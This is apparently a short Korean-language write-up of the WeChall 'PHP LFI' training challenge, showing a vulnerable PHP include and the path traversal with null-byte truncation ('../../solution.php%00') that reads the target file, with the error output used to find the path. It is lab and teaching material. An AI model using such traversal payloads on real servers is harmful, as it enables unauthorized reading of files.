Wechall - PHP LFI
LFI
1
2
$filename = 'pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome").'.html';
include $filename;
Solution
solution.php에 들어가야 함. solution.php의 경로는 /challenge/training/php/lfi/solution.php
현재 경로는 /challenge/training/php/lfi/up/index.php
- 우선 include 뒤에 확장자로 .html이 붙는데 이 부분은 null byte를 입력함으로써 무시할 수 있음.
- null byte는 url encode 값으로
%00
임.
입력을 ../%00
을 해주면 다음과 같은 에러가 뜸.
1
2
include(/home/wechall/www/wc5/www/challenge/training/php/lfi/up)
: failed to open stream
입력을 ../../%00
을 해주면 에러로 뜬 경로가 /challenge/training/php/lfi/
로 바뀜.
따라서 ../../solution.php%00
을 입력하면 성공.
This post is licensed under CC BY 4.0 by the author.